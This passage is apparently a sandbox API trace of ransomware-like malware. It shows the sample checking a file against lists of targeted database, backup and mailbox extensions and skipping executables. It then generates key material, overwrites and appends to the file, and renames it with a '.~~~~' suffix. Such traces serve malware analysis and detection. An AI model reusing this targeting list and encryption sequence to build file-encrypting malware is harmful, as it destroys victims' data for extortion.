	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".EQL") returned 0x0
	[0134.838] lstrlenW (lpString=".FDB") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".FDB") returned 0x0
	[0134.838] lstrlenW (lpString=".EDB") returned 4
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".EDB") returned 0x0
	[0134.838] lstrlenW (lpString=".DACPAC") returned 7
	[0134.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DACPAC") returned 0x0
	[0134.838] lstrlenW (lpString=".VHD") returned 4
	[0134.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".VHD") returned 0x0
	[0134.839] lstrlenW (lpString=".DBV") returned 4
	[0134.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DBV") returned 0x0
	[0134.839] lstrlenW (lpString=".dacpac") returned 7
	[0134.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dacpac") returned 0x0
	[0134.839] lstrlenW (lpString=".sdf") returned 4
	[0134.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".sdf") returned 0x0
	[0134.839] lstrlenW (lpString=".accdb") returned 6
	[0134.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".accdb") returned 0x0
	[0134.839] lstrlenW (lpString=".DBX") returned 4
	[0134.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DBX") returned 0x0
	[0134.839] lstrlenW (lpString=".MDT") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".MDT") returned 0x0
	[0135.030] lstrlenW (lpString=".SQB") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".SQB") returned 0x0
	[0135.030] lstrlenW (lpString=".vhd") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".vhd") returned 0x0
	[0135.030] lstrlenW (lpString=".bac") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".bac") returned 0x0
	[0135.030] lstrlenW (lpString=".mdf") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".mdf") returned 0x0
	[0135.030] lstrlenW (lpString=".BAK") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".BAK") returned 0x0
	[0135.030] lstrlenW (lpString=".BAC") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".BAC") returned 0x0
	[0135.030] lstrlenW (lpString=".dbs") returned 4
	[0135.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dbs") returned 0x0
	[0135.031] lstrlenW (lpString=".vhdx") returned 5
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".vhdx") returned 0x0
	[0135.031] lstrlenW (lpString=".NDF") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".NDF") returned 0x0
	[0135.031] lstrlenW (lpString=".dat") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dat") returned 0x0
	[0135.031] lstrlenW (lpString=".DBS") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DBS") returned 0x0
	[0135.031] lstrlenW (lpString=".CKP") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".CKP") returned 0x0
	[0135.031] lstrlenW (lpString=".edb") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".edb") returned 0x0
	[0135.031] lstrlenW (lpString=".PST") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".PST") returned 0x0
	[0135.031] lstrlenW (lpString=".dbf") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dbf") returned 0x0
	[0135.031] lstrlenW (lpString=".SQL") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".SQL") returned 0x0
	[0135.031] lstrlenW (lpString=".pst") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".pst") returned 0x0
	[0135.031] lstrlenW (lpString=".dbv") returned 4
	[0135.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dbv") returned 0x0
	[0135.032] lstrlenW (lpString=".SDF") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".SDF") returned 0x0
	[0135.032] lstrlenW (lpString=".dtxs") returned 5
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dtxs") returned 0x0
	[0135.032] lstrlenW (lpString=".db3") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".db3") returned 0x0
	[0135.032] lstrlenW (lpString=".OST") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".OST") returned 0x0
	[0135.032] lstrlenW (lpString=".dbx") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dbx") returned 0x0
	[0135.032] lstrlenW (lpString=".DB3") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DB3") returned 0x0
	[0135.032] lstrlenW (lpString=".DAT") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DAT") returned 0x0
	[0135.032] lstrlenW (lpString=".VHDX") returned 5
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".VHDX") returned 0x0
	[0135.032] lstrlenW (lpString=".ndf") returned 4
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".ndf") returned 0x0
	[0135.032] lstrlenW (lpString=".DB") returned 3
	[0135.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DB") returned 0x0
	[0135.033] lstrlenW (lpString=".sql") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".sql") returned 0x0
	[0135.033] lstrlenW (lpString=".MYD") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".MYD") returned 0x0
	[0135.033] lstrlenW (lpString=".DBT") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DBT") returned 0x0
	[0135.033] lstrlenW (lpString=".ACCDB") returned 6
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".ACCDB") returned 0x0
	[0135.033] lstrlenW (lpString=".fdb") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".fdb") returned 0x0
	[0135.033] lstrlenW (lpString=".bak") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".bak") returned 0x0
	[0135.033] lstrlenW (lpString=".myd") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".myd") returned 0x0
	[0135.033] lstrlenW (lpString=".DTXS") returned 5
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".DTXS") returned 0x0
	[0135.033] lstrlenW (lpString=".ckp") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".ckp") returned 0x0
	[0135.033] lstrlenW (lpString=".dbt") returned 4
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".dbt") returned 0x0
	[0135.033] lstrlenW (lpString=".db") returned 3
	[0135.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".db") returned 0x0
	[0135.033] lstrlenW (lpString=".TXT") returned 4
	[0135.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".TXT") returned 0x0
	[0135.034] lstrlenW (lpString=".MDF") returned 4
	[0135.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".MDF") returned 0x0
	[0135.034] lstrlenW (lpString=".bdb") returned 4
	[0135.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".bdb") returned 0x0
	[0135.034] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.034] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0d08) returned 1
	[0135.036] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.036] CryptReleaseContext (hProv=0x3a0d08, dwFlags=0x0) returned 1
	[0135.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.036] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25502616553) returned 1
	[0135.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9edde70, dwHighDateTime=0x1d60e1e)) 
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cb60
	[0135.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cb60 | out: hHeap=0x300000) returned 1
	[0135.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4f50
	[0135.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.037] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.037] GetLastError () returned 0x0
	[0135.037] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.038] GetLastError () returned 0x0
	[0135.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.040] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0135.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.041] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.041] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.041] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.041] CloseHandle (hObject=0x114) returned 1
	[0135.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4f50
	[0135.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.~~~~")) returned 1
	[0135.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4f50 | out: hHeap=0x300000) returned 1
	[0135.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.092] GetLastError () returned 0x0
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".scr") returned 0x0
	[0135.092] lstrlenW (lpString=".cmd") returned 4
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".cmd") returned 0x0
	[0135.092] lstrlenW (lpString=".dll") returned 4
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dll") returned 0x0
	[0135.092] lstrlenW (lpString=".bat") returned 4
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".bat") returned 0x0
	[0135.092] lstrlenW (lpString=".cpl") returned 4
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".cpl") returned 0x0
	[0135.092] lstrlenW (lpString=".sys") returned 4
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".sys") returned 0x0
	[0135.092] lstrlenW (lpString=".msc") returned 4
	[0135.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".msc") returned 0x0
	[0135.092] lstrlenW (lpString=".com") returned 4
	[0135.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".com") returned 0x0
	[0135.093] lstrlenW (lpString=".lnk") returned 4
	[0135.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".lnk") returned 0x0
	[0135.093] lstrlenW (lpString=".msp") returned 4
	[0135.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".msp") returned 0x0
	[0135.093] lstrlenW (lpString=".pif") returned 4
	[0135.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".pif") returned 0x0
	[0135.093] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0135.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.095] lstrlenW (lpString=".sqb") returned 4
	[0135.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".sqb") returned 0x0
	[0135.095] lstrlenW (lpString=".ost") returned 4
	[0135.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".ost") returned 0x0
	[0135.095] lstrlenW (lpString=".txt") returned 4
	[0135.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".txt") returned 0x0
	[0135.095] lstrlenW (lpString=".mdt") returned 4
	[0135.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".mdt") returned 0x0
	[0135.095] lstrlenW (lpString=".BDB") returned 4
	[0135.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".BDB") returned 0x0
	[0135.095] lstrlenW (lpString=".eql") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".eql") returned 0x0
	[0135.096] lstrlenW (lpString=".DBF") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DBF") returned 0x0
	[0135.096] lstrlenW (lpString=".EQL") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".EQL") returned 0x0
	[0135.096] lstrlenW (lpString=".FDB") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".FDB") returned 0x0
	[0135.096] lstrlenW (lpString=".EDB") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".EDB") returned 0x0
	[0135.096] lstrlenW (lpString=".DACPAC") returned 7
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DACPAC") returned 0x0
	[0135.096] lstrlenW (lpString=".VHD") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".VHD") returned 0x0
	[0135.096] lstrlenW (lpString=".DBV") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DBV") returned 0x0
	[0135.096] lstrlenW (lpString=".dacpac") returned 7
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dacpac") returned 0x0
	[0135.096] lstrlenW (lpString=".sdf") returned 4
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".sdf") returned 0x0
	[0135.096] lstrlenW (lpString=".accdb") returned 6
	[0135.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".accdb") returned 0x0
	[0135.096] lstrlenW (lpString=".DBX") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DBX") returned 0x0
	[0135.097] lstrlenW (lpString=".MDT") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".MDT") returned 0x0
	[0135.097] lstrlenW (lpString=".SQB") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".SQB") returned 0x0
	[0135.097] lstrlenW (lpString=".vhd") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".vhd") returned 0x0
	[0135.097] lstrlenW (lpString=".bac") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".bac") returned 0x0
	[0135.097] lstrlenW (lpString=".mdf") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".mdf") returned 0x0
	[0135.097] lstrlenW (lpString=".BAK") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".BAK") returned 0x0
	[0135.097] lstrlenW (lpString=".BAC") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".BAC") returned 0x0
	[0135.097] lstrlenW (lpString=".dbs") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dbs") returned 0x0
	[0135.097] lstrlenW (lpString=".vhdx") returned 5
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".vhdx") returned 0x0
	[0135.097] lstrlenW (lpString=".NDF") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".NDF") returned 0x0
	[0135.097] lstrlenW (lpString=".dat") returned 4
	[0135.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dat") returned 0x0
	[0135.098] lstrlenW (lpString=".DBS") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DBS") returned 0x0
	[0135.098] lstrlenW (lpString=".CKP") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".CKP") returned 0x0
	[0135.098] lstrlenW (lpString=".edb") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".edb") returned 0x0
	[0135.098] lstrlenW (lpString=".PST") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".PST") returned 0x0
	[0135.098] lstrlenW (lpString=".dbf") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dbf") returned 0x0
	[0135.098] lstrlenW (lpString=".SQL") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".SQL") returned 0x0
	[0135.098] lstrlenW (lpString=".pst") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".pst") returned 0x0
	[0135.098] lstrlenW (lpString=".dbv") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dbv") returned 0x0
	[0135.098] lstrlenW (lpString=".SDF") returned 4
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".SDF") returned 0x0
	[0135.098] lstrlenW (lpString=".dtxs") returned 5
	[0135.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dtxs") returned 0x0
	[0135.098] lstrlenW (lpString=".db3") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".db3") returned 0x0
	[0135.099] lstrlenW (lpString=".OST") returned 4
